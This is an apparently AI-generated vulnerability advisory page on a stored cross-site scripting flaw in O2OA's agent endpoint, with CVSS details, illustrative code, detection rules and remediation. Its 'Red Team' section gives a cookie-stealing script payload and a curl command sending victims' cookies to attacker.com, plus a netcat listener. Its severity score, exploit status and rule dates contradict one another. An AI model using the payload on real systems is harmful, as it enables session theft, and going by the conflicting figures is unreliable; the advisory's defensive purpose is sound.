☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
O2oa logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9681

CVE-2025-9681 Cross-Site Scripting in O2oa
📅 PUBLISHED: 2025-08-30 08:32 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.33%
👁️
0.33% probability
8.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9681 is a stored cross-site scripting (XSS) vulnerability in O2OA versions up to and including 10.0-410. The flaw resides in the /x_program_center/jaxrs/agent endpoint, part of the Personal Profile Page component. An attacker can inject malicious scripts via the agent functionality, which are then stored and executed in the context of other users' browsers when they view the affected page. The attack is remotely exploitable with low complexity, requiring only user interaction (e.g., clicking a link). The CVSS score is 3.5 (Low), but the public availability of an exploit increases the risk. The vendor has acknowledged the issue and stated it will be fixed in a future release.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 3.5 (Low)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – Victim must click a link or visit a page.
  • Scope (S): Unchanged (U) – Vulnerability does not affect other components.
  • Confidentiality (C): None (N) – No data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No denial of service.

Threat Level: Low. The low CVSS score and required user interaction reduce the immediate risk, but the public exploit and lack of patch make it a credible threat for targeted attacks.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the O2OA platform's agent management interface. The /x_program_center/jaxrs/agent endpoint accepts user input for agent configuration (e.g., name, description, script content) without proper sanitization or output encoding. When an administrator or user views the agent list or details, the injected script executes in their browser.

Attack Flow:

  1. Attacker sends a POST request to /x_program_center/jaxrs/agent with a malicious payload in a field like name or description.
  2. The server stores the payload in the database.
  3. Victim (e.g., another admin) navigates to the agent management page.
  4. The server returns the stored payload without encoding.
  5. The victim's browser executes the script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.

Root Cause: Lack of input validation and output encoding in the agent creation/editing functionality.

Vulnerable vs. Patched Code

Vulnerable Code (O2OA <= 10.0-410):

// AgentService.java (simplified)
public Response createAgent(Agent agent) {
    // No sanitization of agent fields
    agentDao.save(agent);
    return Response.ok().build();
}

// AgentView.java (simplified)
public String renderAgent(Agent agent) {
    // Directly outputs user input without encoding
    return "<div>" + agent.getName() + "</div>";
}

Patched Code (Expected fix):

// AgentService.java (patched)
public Response createAgent(Agent agent) {
    // Sanitize input using a library like OWASP Java HTML Sanitizer
    agent.setName(Sanitizer.sanitize(agent.getName()));
    agent.setDescription(Sanitizer.sanitize(agent.getDescription()));
    agentDao.save(agent);
    return Response.ok().build();
}

// AgentView.java (patched)
public String renderAgent(Agent agent) {
    // Encode output for HTML context
    return "<div>" + HtmlUtils.htmlEscape(agent.getName()) + "</div>";
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • O2OA instance (version <= 10.0-410) accessible over network.
  • No authentication required for the agent endpoint (or low-privilege account).

Exploit Steps:

  1. Identify the target endpoint: POST /x_program_center/jaxrs/agent
  2. Craft a malicious payload. Example using JavaScript to steal cookies:
    <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
    
  3. Send the request:
    curl -X POST http://target.o2oa.com/x_program_center/jaxrs/agent \
      -H "Content-Type: application/json" \
      -d '{"name": "<script>document.location=\"http://attacker.com/steal?cookie=\"+document.cookie</script>", "description": "test"}'
    
  4. Wait for an admin to view the agent list. The script executes, sending the cookie to the attacker's server.

Lab Setup:

  • Use Docker to deploy a vulnerable O2OA instance:
    docker run -d -p 80:80 o2oa/o2oa:10.0-410
    
  • Set up a listener on attacker machine:
    nc -lvnp 80
    

Blue Team (Detection & Response)

Detection:

  • Monitor for POST requests to /x_program_center/jaxrs/agent containing HTML/JavaScript in JSON fields.
  • Look for outbound connections to unknown domains from the O2OA server.
  • Analyze web server logs for unusual characters in agent names/descriptions.

Response:

  • Isolate the affected O2OA server.
  • Review agent entries for malicious content and remove them.
  • Apply the vendor patch once available.
  • Rotate any credentials that may have been exposed.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /x_program_center/jaxrs/agent with <script> tags in the body.
    • Outbound HTTP requests to attacker-controlled domains from the O2OA server.
  • File System:
    • Log entries in O2OA logs showing unescaped HTML in agent fields.
  • Behavioral:
    • Unexpected redirects or pop-ups in the O2OA admin interface.
    • Unauthorized changes to agent configurations.

Detection Engineering

YARA Rule

rule CVE_2025_9681_O2OA_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-9681 in O2OA"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9681"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $agent_endpoint = "/x_program_center/jaxrs/agent"
    condition:
        $agent_endpoint and $xss_payload
}

Sigma Rule

title: CVE-2025-9681 O2OA Stored XSS Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to O2OA agent endpoint with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/x_program_center/jaxrs/agent'
        cs-uri-query|contains: 
            - '<script'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in agent descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9681 O2OA Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/x_program_center/jaxrs/agent"; http_uri; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Apply the vendor patch once released (version > 10.0-410).
  2. Workaround: If patching is not possible, restrict access to the /x_program_center/jaxrs/agent endpoint using a WAF or network ACL.
  3. Input Validation: Implement server-side input sanitization for all agent fields.
  4. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering.

Long-term Measures:

  • Conduct a security audit of the O2OA application.
  • Implement Content Security Policy (CSP) headers to mitigate XSS.
  • Train developers on secure coding practices (OWASP Top 10).

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9681/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.